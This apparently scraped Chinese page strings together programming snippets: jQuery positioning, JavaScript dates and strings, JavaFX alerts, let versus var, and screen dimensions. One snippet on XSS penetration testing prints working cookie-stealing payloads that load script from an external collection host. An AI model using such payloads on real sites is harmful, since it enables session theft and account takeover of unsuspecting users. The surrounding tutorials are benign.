alert

jQuery中position()与offset()区别

泪湿孤枕 提交于 2020-03-16 10:52:08
使用jQuery获取元素位置时,我们会使用position()或offset()方法,两个方法都返回一个包含两个属性的对象-左边距和上边距,它们两个的不同点在于位置的相对点不同。 可以看看下边的图: 从图中我们可以大体看出两者的区别。position()获取相对于它最近的具有相对位置(position:relative)的父级元素的距离,如果找不到这样的元素,则返回相对于浏览器的距离。offset()始终返回相对于浏览器文档的距离,它会忽略外层元素。 <div id="outer" style="width:200px;position:relative;left:100px;"> <div id="inner" style="position:absolute;left:50px;top:60px;"> </div> </div> //获取相对于最近的父级(position:relative)的位置 var vposition = $("#inner").position(); alert(vposition.left); //输出:50 alert(vposition.top); //输出:60 var voffset = $("#inner").offset(); alert(voffset.left); //输出:$("#outer").offset().left+50

js获取当前日期时间

只愿长相守 提交于 2020-03-16 09:18:37
<script> var myDate = new Date(); myDate.getYear(); //获取当前年份(2位) //alert(myDate.getYear()) //2009 myDate.getFullYear(); //获取完整的年份(4位,1970-????) //alert(myDate.getFullYear()); 2009 myDate.getMonth(); //获取当前月份(0-11,0代表1月) //alert(myDate.getMonth()); //7(实际是8月) myDate.getDate(); //获取当前日(1-31) //alert( myDate.getDate()); //13 myDate.getDay(); //获取当前星期X(0-6,0代表星期天) //alert(myDate.getDay()); //4 代表星期四 myDate.getTime(); //获取当前时间(从1970.1.1开始的毫秒数) myDate.getHours(); //获取当前小时数(0-23) //alert(myDate.getHours()); //9 代表9点 myDate.getMinutes(); //获取当前分钟数(0-59) //alert(myDate.getMinutes()); //45 分 myDate

JavaFX create alert and get result

主宰稳场 提交于 2020-03-16 07:42:32
问题 For my CS class they require us to use JavaFX alerts. I can make an alert appear, but how do I get what button was clicked? What would be the best way to go about getting this data? Also if possible, I'd like to make it have a drop down panel and when the user selects and option the alert closes and prints what the user selected. Here's some example code that I have. When I click one of the buttons, it just closes the dialog. Alert a = new Alert(AlertType.NONE, "Promote pawn to:", new

jQuery第一章

守給你的承諾、 提交于 2020-03-16 05:06:06
一、jQuery的优势 1.轻量级:压缩之后大小只有30KB左右。 2.强大的选择器:jQuery允许CSS1到CSS3几乎所有的选择器以及自身独创的选择器。 3.出色的DOM操作的封装:jQuery封装了大量常用的DOM操作,是开发者在编写DOM操作相关程序的时候能够得心应手。 4.可靠的事件处理机制:jQuery事件处理机制在处理事件绑定的时候相当可靠。 5.完善的Ajax:jQuery将所有的Ajax操作封装在一个函数$.ajax()里面,使得开发者处理Ajax的时候能够专心处理业务逻辑而无需关心复杂的浏览器兼容性和XMLHttpRequest对象的创建和使用的问题。 6.不污染顶级变量:jQuery只建立一个名为jQuery的对象,其所有函数方法都在这个对象之下。其别名$也可以随时交出控制权,绝不污染其他对象。 7.出色的浏览器兼容性:jQuery修复了一些浏览器之间的差异,使开发者不必在开展项目前建立浏览器兼容库。 8.链式操作方式:jQuery中最有特色的莫过于它的链式操作方式——即对发生在同一个jQuery对象上的一组动作,可以直接连写而无需重复获取对象。 9.隐式迭代:当用jQuery找到带有“.myClass”类的全部元素,然后隐藏它们时,无需循环遍历每一个返回的元素。 10.行为层与结构层分离:开发者可以使用jQuery选择器选中元素,然后直接给元素添加事件。

JavaScript---字符串用法总结

徘徊边缘 提交于 2020-03-15 21:09:17
一、创建字符串 var 变量名 =“值”; 对象类型是 String, 是字符串类型的值, var 对象名 = new String( "值") ; var strObj = new String("Hello, String!"); //创建一个字符串对象 使用typeof运算符查看会发现,上面的myStr类型为string,而strObj类型为object。 二、字符串的长度 String.length 三、isNaN() 函数用于检查其参数是否是非数字值。(不是判断是否为字符串类型) var str = "123"; alert(isNaN(str)) //false var str = "sdfs"; alert(isNaN(str)); //true 四、字符串的拼接 1.将两个或多个字符串拼接为一个大的字符串 用一个"+"将两个字符串"相加": var longString = "One piece " + "plus one more piece."; 2. 要将多个字符串累积为一个字符串,还可以使用"+="操作符: var result = ""; result += "Hello!" result += " nice to meet you"; alert(result); 3.像警告、确认对话框之类的情况下字符换行 需要使用转义字符"\n" var

学习笔记——Javascript基础

微笑、不失礼 提交于 2020-03-15 13:42:51
文档规范: 一、级标题 1.级标题 A.级标题 a)四级 正文 重点突出 目录:略 一、JavaScript基础 1.JavaScript组成 A.ECMAScritp:解释器、翻译 B.DOM:Document Object Model,文档对象模型。就是语言中用到的document.它给了js操作页面的能力。 C.BOM:Browser Object Model,浏览器对象模型。就是语言中用到的windows.它给了js操作浏览器的能力。 2.变量类型 A.检测变量类型:typeof运算符 常见类型: number、string、boolean、object、function、undefined 基本类型: number、string、boolean、undefined 复合类型: object(带属性的) B.数据类型转换(显式类型转换) a)parseInt:转换成整数,如字符串转换为整数及小数转换为整数。 b)parseFloat:转换成浮点数 c)NaN:不是一个数字有isNaN方法。如:isNaN(num) C.数据类型转换(隐式类型转换) a)==,如:var a='12'; var b='5'; alert(a==b);结果为ture; b)-,*,/,var a='12'; var b='5'; alert(a-b);结果为7; D.变量作用域(作用范围) a

xss之渗透测试

一世执手 提交于 2020-03-14 23:10:52
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。 我们构造的获取cookie的xss脚本代码,已经成功的提交到了网站后台。 代码: </textarea>'"><script src=http://x.imlonghao.com/3E3nja?1371821300></script> 或者 </textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fx.imlonghao.com%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName

let & var 的区别

房东的猫 提交于 2020-03-14 15:42:53
在讲let命令之前,先来回顾一下var的一些特性和用法。 var:用于声明变量的命令 1、作用域:(ES5中仅有函数作用域&全局作用域) (1)如果在一个函数之内用var声明变量,则其在该函数内有效,其外部环境无法访问到这个变量,且该变量在函数内会覆盖全局变量的声明。 var a = 6; function hh() { var a = 4; alert(a); } hh();//4 alert(a);//6 (2)如果一个变量在全局环境中声明,则其在整个window中有效。在ES5中,全局对象的属性与全局变量是等价的。 window.a = 5; === var a =5; 2、ES5中var声明的变量存在变量提升(仅是声明提升,赋值不提升),可允许变量在声明之前使用; alert(b);//undefined var b = 5; 其执行顺序其实是: var b; alert(b); b = 5; 3、ES5中用var可以重复声明变量 var c = 5; alert(c);//5 var c = 10; alert(c);//10 接下来讲let的特性与用法 let:ES6中用于声明变量的新命令,其用法类似于var,但其声明的变量只在let命令所在的代码块内有效。 (什么叫代码块?{}一个大括号内的内容即可为一个代码块) 1、作用域:let命令所在的代码块 { let a =

dom元素高度、屏幕高度 获取

拈花ヽ惹草 提交于 2020-03-14 07:13:17
JS获取屏幕高度: 网页可见区域宽: document.body.clientWidth 网页可见区域高: document.body.clientHeight 网页可见区域宽: document.body.offsetWidth (包括边线的宽) 网页可见区域高: document.body.offsetHeight (包括边线的高) 网页正文全文宽: document.body.scrollWidth 网页正文全文高: document.body.scrollHeight 网页被卷去的高: document.body.scrollTop 网页被卷去的左: document.body.scrollLeft 网页正文部分上: window.screenTop 网页正文部分左: window.screenLeft 屏幕分辨率的高: window.screen.height 屏幕分辨率的宽: window.screen.width 屏幕可用工作区高度: window.screen.availHeight 屏幕可用工作区宽度: window.screen.availWidth JQuery获取屏幕高度: $(document).ready(function(){ alert($(window).height()); //浏览器当前窗口可视区域高度 alert($(document)

js中substring和substr的用法

只谈情不闲聊 提交于 2020-03-12 19:42:12
substring 方法用于提取字符串中介于两个指定下标之间的字符 substring(start,end) 开始和结束的位置,从零开始的索引 参数 描述 start 必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。 stop 可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数,那么返回的子串会一直到字符串的结尾。 返回值 一个新的字符串,该字符串值包含 stringObject 的一个子字符串,其内容是从 start 处到 stop-1 处的所有字符,其长度为 stop 减 start。 说明 substring 方法返回的子串包括 start 处的字符,但不包括 end 处的字符。 如果 start 与 end 相等,那么该方法返回的就是一个空串(即长度为 0 的字符串)。 如果 start 比 end 大,那么该方法在提取子串之前会先交换这两个参数。 如果 start 或 end 为负数,那么它将被替换为 0。 2.substr 方法 定义和用法 substr 方法用于返回一个从指定位置开始的指定长度的子字符串。 语法 stringObject.substr(start [, length ]) 参数 描述 start 必需。所需的子字符串的起始位置